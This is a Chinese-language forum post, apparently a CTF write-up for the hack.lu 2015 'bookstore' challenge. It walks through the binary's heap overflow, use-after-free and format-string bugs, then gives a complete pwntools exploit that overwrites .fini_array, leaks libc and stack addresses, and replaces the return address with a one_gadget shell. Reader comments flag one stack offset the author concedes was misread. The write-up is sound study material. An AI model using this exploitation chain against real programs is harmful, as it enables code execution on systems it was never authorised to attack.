首页
社区
课程
招聘
[原创]hack.lu 2015 bookstore writeup
2018-9-11 21:02 16048

[原创]hack.lu 2015 bookstore writeup

2018-9-11 21:02
16048

概述 :

15年的一道题,尝试解题无果之后去搜了搜writeup,结果并没有搜到。。只有一篇非正常getshell的文章。。作者打比赛时候靠着本机环境和比赛机一致,靠着设定好system地址getshell。看的我一脸懵,还是靠自己解吧。。肝了一天多终于肝出来了。。本菜鸡还是菜啊。。

 

这道题虽然看似漏洞很多,但是要利用起来还真是有点困难。

详解 :

checksec:

➜  books checksec ./books 
[*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/books/books'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

功能 :

该程序是个书店,订书的功能,最多订购两本书,订购每本书的时候可以填写订单内容,这里面可以无限制任意写,然后是删除订单,删除订单中只free掉了指针,没有把指针置为NULL,存在UAF漏洞,且指针的位置处于栈地址上,最后是一个提交功能,提交功能是将两本书的内容合在一起打印出来,但是提交后存在一个格式化字符串的漏洞。

漏洞 :

  1. 任意写,堆溢出漏洞:
unsigned __int64 __fastcall sub_400876(__int64 a1)
{
  int v1; // eax
  int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3 = 0;
  v4 = 0;
  while ( v3 != '\n' )      <----------------换行符才结束循环,任意写
  {
    v3 = fgetc(stdin);
    v1 = v4++;
    *(_BYTE *)(v1 + a1) = v3;
  }
  *(_BYTE *)(v4 - 1LL + a1) = 0;
  return __readfsqword(0x28u) ^ v5;
}
  1. UAF漏洞:
unsigned __int64 __fastcall sub_4008FA(void *a1)
{
  unsigned __int64 v1; // ST18_8

  v1 = __readfsqword(0x28u);
  free(a1);                <-----------------没有将指针置为NULL
  return __readfsqword(0x28u) ^ v1;
}
  1. 格式化字符串漏洞
  printf("%s", v5);
  printf(dest);            <-----------------格式化字符串
  return 0LL;

利用 :

那么问题来了,漏洞看起来这么的多,怎么去利用?首先我们得注意三点:

  1. 使用submit功能的时候程序就结束了,也就是一次性,但是printf格式化恰好就在程序结束处才产生。
  2. 格式化的字符串从系统malloc的第三块堆内容中获取。
  3. 无法自行分配堆,只能从程序本身申请的三块堆和submit功能中申请的堆中去利用。

但是我们会遇到一些问题,比如说我们想用溢出控制第三块堆中的内容再利用格式化字符串的时候会遇到填写订单内容后被strcpy函数给重新覆盖掉第三堆块的内容。

 

这里我们应当使用到Overlapping,先delete第二堆块,再用堆块一溢出堆块二的size字段为0x151,这样当利用submit功能的时候所申请的0x140堆块就能出现在堆块二的位置上,随后便能利用submit合并两个堆块内容的作用覆盖到第三堆块,如果构造好覆盖内容,我们便能在程序最后利用到格式化字符串的内容。

 

显然,一次利用并不能达到我们getshell的目的,这里用到这么一个知识点 :

程序退出后会执行`.fini_array`地址处的函数,不过只能利用一次。

所以我们可以利用第一次格式化字符串将.fini_array地址处的函数修改成main函数的地址,使程序重新回到main函数。当然,我们还需要泄漏libc地址。

先来第一阶段的利用 :

delete掉堆块二:

 

 

利用堆块一覆盖重写的这里我们需要注意,我们所构造的payload需要和后面利用的格式化字符串所匹配。

 

堆块位置如下:

0x602000:    0x0000000000000000    0x0000000000000091 <--堆块一头
0x602010:    0x0000000000000000    0x0000000000000000
0x602020:    0x0000000000000000    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000000
0x602060:    0x0000000000000000    0x0000000000000000
0x602070:    0x0000000000000000    0x0000000000000000
0x602080:    0x0000000000000000    0x0000000000000000
0x602090:    0x0000000000000000    0x0000000000000091 <--新申请的0x140堆块头
0x6020a0:    0x00007ffff7dd1b78    0x00007ffff7dd1b78 
0x6020b0:    0x0000000000000000    0x0000000000000000
0x6020c0:    0x0000000000000000    0x0000000000000000
0x6020d0:    0x0000000000000000    0x0000000000000000
0x6020e0:    0x0000000000000000    0x0000000000000000
0x6020f0:    0x0000000000000000    0x0000000000000000
0x602100:    0x0000000000000000    0x0000000000000000
0x602110:    0x0000000000000000    0x0000000000000000
0x602120:    0x0000000000000090    0x0000000000000090 <--dest堆块头(printf处)
0x602130:    0x0000000000000000    0x0000000000000000
0x602140:    0x0000000000000000    0x0000000000000000
0x602150:    0x0000000000000000    0x0000000000000000
0x602160:    0x0000000000000000    0x0000000000000000
0x602170:    0x0000000000000000    0x0000000000000000
0x602180:    0x0000000000000000    0x0000000000000000
0x602190:    0x0000000000000000    0x0000000000000000
0x6021a0:    0x0000000000000000    0x0000000000000000
0x6021b0:    0x0000000000000000    0x0000000000000411

我们需要让printf堆块处执行格式化的漏洞,就需要让submit功能去帮助我们覆盖,submit功能会加上order1:等这些字符串,不能漏掉,总结后可以得知新申请的堆块内容为:

Order 1: + chunk1 + \n + Order 2: + chunk2 + \n

 

因为chunk2已经被delete掉了,所以当复制chunk2中的内容的时候复制的其实是order 1: + chunk1。所以上述可以变为:

Order 1: + chunk1 + \n + Order 2: + Order 1: + chunk1 + \n

 

所以我们可以构造第二次的chunk1内容恰好覆盖到dest堆块处。也就是:

size(Order 1: + chunk1 + \n + Order 2: + Order 1:) == 0x90

size(chunk1) == 0x90 - 28 == 0x74

 

所以我们构造chunk1中的内容的时候只要使其中非0字符串的个数达到0x74就行了。

 

因为输入选项的时候可输入128个数字符串:

fgets(&s, 128, stdin);

所以我们可以提前在栈中构造好我们所需要用格式化字符串修改的任意地址。

 

输入点在格式化偏移为12处,我们第一轮利用需要修改的是.fini_array处的内容,所以我们在栈中可以这么构造:

payload2 = '5'+p8(0x0)*7 + p64(fini_array)  <-- 5为选用submit功能

chunk1中的内容可以这么构造:

payload = "%"+str(2617)+"c%13$hn"  + '.%31$p' + ',%28$p'
payload += 'A'*(0x74-len(payload))
payload += p8(0x0)*(0x88-len(payload))
payload += p64(0x151)

这里的'.%31$p'目的是泄漏__libc_start_main函数的地址,从而leak libc的地址。而这里的',%28$p'目的我后面会说到。

第二阶段的利用 :

这里我们能怎么接下去利用呢?ctf-wiki上的解法是拿到system函数的地址后去覆盖free_got。我试了这解法后才知道这解法还需要再来一轮去触发free函数。。所以这个思路行不通。。wiki上贴的exp好像只执行了第一阶段,第二阶段的利用没有。。

 

搜索到的唯一一个exp是通过设定system地址佛系getshell的。。所以还是得自己来着手。。我想这题目肯定是有一个常规解的。所以我自己来肝。。

 

我的思路是通过第二阶段修改主函数返回地址getshell:

 

返回地址在栈上的位置是随机的,所以我们需要找一个与返回地址有固定偏移的栈地址。我们从栈上去找一找,我发现了这么一个地址:

 

 

这个栈地址始终指向比自己低0x10字节的栈地址,而且指向的栈地址和返回地址也有固定的0x28的偏移,所以我选择用格式化字符串泄漏这个栈地址,但是这里还有一个问题:

第一阶段利用后重新执行main函数后,栈上的地址会产生一个固定的偏移。

上面所提到的payload',%28$p'的目的就是泄漏这个栈地址。

 

我们直接把gdb attach上去计算固定的偏移:

 

 

泄漏得到的第一阶段的返回地址:0x7ffd88f7d6f8

 

 

gdb中得到的第二阶段的返回地址:0x7ffd88f7d4e8

 

所以固定偏移为:0x7ffd88f7d6f8 - 0x7ffd88f7d4e8 = 0x210

 

我们得到了第二阶段的返回地址的栈地址之后就好办事了,重复第一阶段的构造利用即可,这里面为了方便,可以直接利用one_gadget工具中的execve函数地址来覆盖返回地址。这里经过观察可以发现,execve的地址和返回地址只有最后三个字节不同,所以构造格式化漏洞的时候只需要覆盖返回地址最后的三位即可。

 

可能机子环境不一样这个固定偏移也不一样,我的环境是:

Ubuntu16.04,glibc2.23

结果:

EXP :

from pwn import *

p = process('./books')
context.log_level = 'debug'
elf = ELF('./books')
libc = ELF('libc.so')

def edit1(content) :
    sleep(0.1)
    p.sendline('1')
    p.recvuntil('Enter first order:\n')
    p.sendline(content)

def edit2(content) :
    sleep(0.1)
    p.sendline('2')
    p.recvuntil('Enter second order:\n')
    p.sendline(content)

def delete1() :
    sleep(0.1)
    p.sendline('3')

def delete2() :
    sleep(0.1)
    p.sendline('4')

def submit() :
    sleep(0.1)
    p.sendline('5')

free_got = elf.got['free']
fini_array = 0x6011B8
main_addr = 0x400A39

delete2()

payload = "%"+str(2617)+"c%13$hn"  + '.%31$p' + ',%28$p'
payload += 'A'*(0x74-len(payload))
payload += p8(0x0)*(0x88-len(payload))
payload += p64(0x151)
edit1(payload)

payload2 = '5'+p8(0x0)*7 + p64(fini_array)
p.sendline(payload2)

#leak --> libc_base
p.recvuntil('\x2e')
p.recvuntil('\x2e')
p.recvuntil('\x2e')
data = p.recv(14)
p.recvuntil(',')
ret_addr = p.recv(14)
data = int(data,16) - 240
ret_addr = int(ret_addr,16) + 0x28 - 0x210
libc_base = data - libc.symbols['__libc_start_main']
log.success('ret_addr :'+hex(ret_addr))

#repeat --> change ret_addr --> system_addr(one_gadget)
one_shot = libc_base + 0x45216
print hex(one_shot)
one_shot1 = '0x'+str(hex(one_shot))[-2:]
one_shot2 = '0x'+str(hex(one_shot))[-6:-2]
print one_shot1,one_shot2
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)

delete2()

payload3 = "%" + str(one_shot1) + "d%13$hhn"
payload3 += '%' + str(one_shot2-one_shot1) + 'd%14$hn'
payload3 += 'A'*(0x74-len(payload3))
payload3 += p8(0x0)*(0x88-len(payload3))
payload3 += p64(0x151)
edit1(payload3)

payload4 = '5' + p8(0x0)*7 + p64(ret_addr) + p64(ret_addr+1)
p.sendline(payload4)

p.interactive()

相关链接:

Hack.lu 2015 bookstore writeup


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2018-9-12 08:18 被V1NKe编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 41
活跃值: (2220)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
Seclusion 4 2018-10-25 23:58
2
0
感谢师傅分享,学到了
雪    币: 247
活跃值: (109)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Freway 2019-5-3 14:48
3
0

这个栈地址始终指向比自己低0x10字节的栈地址,而且指向的栈地址和返回地址也有固定的0x28的偏移


这里的地址是0x7fffffffde40,不是dd40偏移应该不是0x28????
雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2019-5-6 18:12
4
0
Freway 这个栈地址始终指向比自己低0x10字节的栈地址,而且指向的栈地址和返回地址也有固定的0x28的偏移 这里的地址是0x7fffffffde40,不是dd40偏移应该不是0x28????
感谢提出,应该是当时眼花了,具体的按exp来调,由于太久的缘故我记不太清了。
游客
登录 | 注册 方可回帖
返回